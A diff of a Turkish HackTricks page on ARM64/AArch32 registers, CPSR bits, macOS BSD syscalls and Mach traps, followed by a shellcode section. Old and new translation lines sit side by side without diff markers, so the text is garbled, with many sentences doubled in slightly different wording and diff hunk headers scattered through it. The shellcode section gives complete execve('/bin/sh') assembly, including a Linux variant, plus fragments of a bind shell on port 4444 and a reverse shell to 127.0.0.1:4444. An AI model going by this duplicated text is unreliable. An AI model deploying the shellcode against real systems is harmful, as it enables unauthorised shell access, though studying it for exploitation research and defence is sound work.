64 bitlikten 32 bitliğe geçişin, istisna seviyesinin düşürülmesiyle gerçekleştiğini unutmayın (örneğin, EL1'de 64 bitlik bir program EL0'da bir programı tetikler). Bu, `AArch32` işlem ipliğinin yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydedicisinin **4. bitini 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'ini saklar. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'ye bağlı olarak A32 veya T32'ye girer.
**`Geçiş`**, CPSR'nin J ve T bitleri kullanılarak gerçekleştirilir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
**`Geçiş`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
Bu, **geçiş dalı komutları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer komutlarla da doğrudan ayarlanabilir. Örnek:
Başka bir örnek:
@ -283,58 +283,58 @@ mov r0, #8
```
### Kayıtlar
16 adet 32 bitlik kayıt bulunmaktadır (r0-r15). **r0'dan r14'e kadar** herhangi bir işlem için kullanılabilirler, ancak bazıları genellikle ayrılmıştır:
16 adet 32 bitlik kayıt bulunmaktadır (r0-r15). **r0'dan r14'e** kadar olanlar **herhangi bir işlem için** kullanılabilir, ancak bazıları genellikle ayrılmıştır:
- **`r15`**: Program sayacı (her zaman). Bir sonraki komutun adresini içerir. A32'de mevcut + 8, T32'de ise mevcut + 4.
- **`r11`**: Çerçeve İşaretçisi
- **`r12`**: İçsel işlem çağrı kaydı
- **`r12`**: İç işlevsel çağrı kaydı
- **`r13`**: Yığın İşaretçisi
- **`r14`**: Bağlantı Kaydı
Ayrıca, kayıtlar **`bankalı kayıtlar`**da yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde hızlı bağlam değiştirme yapabilmek için kayıt değerlerini depolayan yerlerdir, böylece her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\
Bu, işlemcinin durumunu istisna alınan işlemcinin moduna ait **`CPSR`**'den **`SPSR`**'ye kaydederek yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir.
Ayrıca, kayıtlar **`banked registries`**'de yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde **hızlı bağlam değiştirme** yapılmasını sağlayan kayıt değerlerini depolayan yerlerdir, böylece her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\
Bu, işlemcinin durumunu **`CPSR`'den `SPSR`'ye** aldığı işlem yapılan işlemci moduna kaydedilir. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir.
### CPSR - Geçerli Program Durumu Kaydedici
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında daha sonra geri yüklemek için **`SPSR_ELx`**'de depolanır:
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında daha sonra yürütme yeniden başlatılmak üzere **`SPSR_ELx`'de** saklanır:
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
Alanlar bazı gruplara ayrılmıştır:
- Uygulama Program Durumu Kaydedici (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir.
- İşlem Durumu Kaydedicileri: İşlem davranışı (işletim sistemi tarafından yönetilir).
- Uygulama Program Durumu Kaydedici (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir
- Yürütme Durumu Kaydedicileri: İşletim sistemi tarafından yönetilen işlem davranışı.
#### Uygulama Program Durumu Kaydedici (APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'te olduğu gibi)
- **`Q`** bayrağı: Özel doyurucu aritmetik komutun yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle 0'a ayarlanana kadar değeri korur. Ayrıca, değerini zımni olarak kontrol eden herhangi bir komut yoktur, değeri manuel olarak okunarak kontrol edilmelidir.
- **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Komutla, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, bir komutta birden fazla veri noktasının işlenmesine izin verir.
- **`Q`** bayrağı: Özel doyurucu aritmetik komutun yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle **0** olarak ayarlanana kadar değeri korur. Ayrıca, değerini örtük olarak kontrol eden herhangi bir komut yoktur, değeri manuel olarak okunarak kontrol edilmelidir.
- **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Komutla, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler tek bir komutta birden fazla veri noktasını işlemeyi sağlar.
Örneğin, **`UADD8`** komutu, paralel olarak dört çift baytı (iki 32 bitlik işleçten) ekler ve sonuçları bir 32 bitlik kayıtta depolar. Ardından, bu sonuçlara dayanarak **`APSR`** içindeki GE bayraklarını ayarlar. Her GE bayrağı, bir bayt eklemesine karşılık gelir ve o bayt çifti için eklemenin taştığını gösterir.
Örneğin, **`UADD8`** komutu, paralel olarak dört çift baytı (iki 32 bitlik işleçten) ekler ve sonuçları bir 32 bitlik kayıtta saklar. Ardından, bu sonuçlara dayanarak **`APSR`'deki `GE`** bayraklarını ayarlar. Her GE bayrağı, bayt çiftlerinden biri için eklemenin taştığını gösterir.
**`SEL`** komutu, bu GE bayraklarını koşullu işlemler yapmak için kullanır.
#### İşlem Durumu Kaydedicileri
#### Yürütme Durumu Kaydedicileri
- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve **`T`** 0 ise A32 komut seti kullanılır, 1 ise T32 kullanılır.
- **IT Blok Durum Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki komutlar için koşulları depolarlar.
- **`E`** biti: **Bayt sırasını** belirtir.
- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** olan programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4, kullanılan mevcut istisna modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bunun işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
- **`J`** ve **`T`** bitleri: **`J`** 0 olmalı ve **`T`** 0 ise A32 komut seti kullanılır, 1 ise T32 kullanılır.
- **IT Blok Durum Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki komutlar için koşulları saklarlar.
- **`E`** biti: **endianness**'ı belirtir.
- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** olan programın 32 bitlik (1) veya 64 bitlik (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan mevcut özel işlem modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı, bu işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **zaman uyumsuz hatalar** tetikleneceği anlamına gelir. **`I`**, harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri** (FIR'ler) ile ilgilidir.
- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`**, harici donanım **Kesme İstekleri'ne** (IRQ'ler) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri'ne** (FIR'ler) ilişkilidir.
## macOS
### BSD sistem çağrıları
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)'a göz atın. BSD sistem çağrıları **x16 > 0** olacaktır.
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)'a göz atın. BSD sistem çağrılarının **x16 > 0** olacaktır.
### Mach Tuzakları
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)'de `mach_trap_table` ve [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)'de prototipleri kontrol edin. Mach tuzaklarının sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları eksi işaretiyle çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)'de `mach_trap_table`'ı ve [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)'de prototipleri kontrol edin. Mach tuzaklarının sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları eksi işareti ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
Bu (ve BSD) sistem çağrılarını nasıl çağıracağınızı bulmak için bir ayıklama aracında **`libsystem_kernel.dylib`**'i kontrol edebilirsiniz:
@ -349,7 +349,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
{% endcode %}
{% hint style="success" %}
Bazen **`libsystem_kernel.dylib`** dosyasından **derlenmiş** kodu kontrol etmek **kaynak kodunu** kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz.
Bazen, **`libsystem_kernel.dylib`** dosyasından **derlenmiş** kodu kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz.
{% endhint %}
### machdep çağrıları
@ -372,7 +372,7 @@ Parametreler ([daha fazla bilgi için dokümantasyona bakın](https://developer.
* x1: op -> Yöntemin seçicisi
* x2... -> Çağrılan yöntemin diğer argümanları
Bu nedenle, bu fonksiyona yapılan dal öncesinde kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask` nesnesinden bir nesneyi çağırır).
Bu nedenle, bu fonksiyona yapılan dallanmadan önce kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte, nesne `NSConcreteTask`'tan bir nesneyi çağırır ve bir komut çalıştırır).
```
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -456,7 +456,7 @@ return 0;
```
</details>
#### Kabuk
#### Shell
[**buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır.
@ -506,6 +506,24 @@ mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
```
{% endtab %}
{% tab title="linux için adr ile" %}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
```
#### Cat ile oku
@ -581,7 +599,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bağlama kabuğu
Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) adresinden **4444 numaralı bağlantı noktası** ile.
Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) üzerinden **4444 numaralı bağlantı noktasında**.
```armasm
.section __TEXT,__text
.global _main
@ -665,7 +683,7 @@ svc #0x1337
```
#### Ters kabuk
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) adresinden, **127.0.0.1:4444** adresine revshell.
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) adresinden, **127.0.0.1:4444** adresine revshell'i alın.
```armasm
.section __TEXT,__text
.global _main
@ -736,14 +754,14 @@ svc #0x1337
<özet>
<strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></özet>
<strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!
HackTricks'ı desteklemenin diğer yolları:
Diğer HackTricks'i destekleme yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya **bizi takip edin** **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi paylaşın, PR'ler göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</detaylar>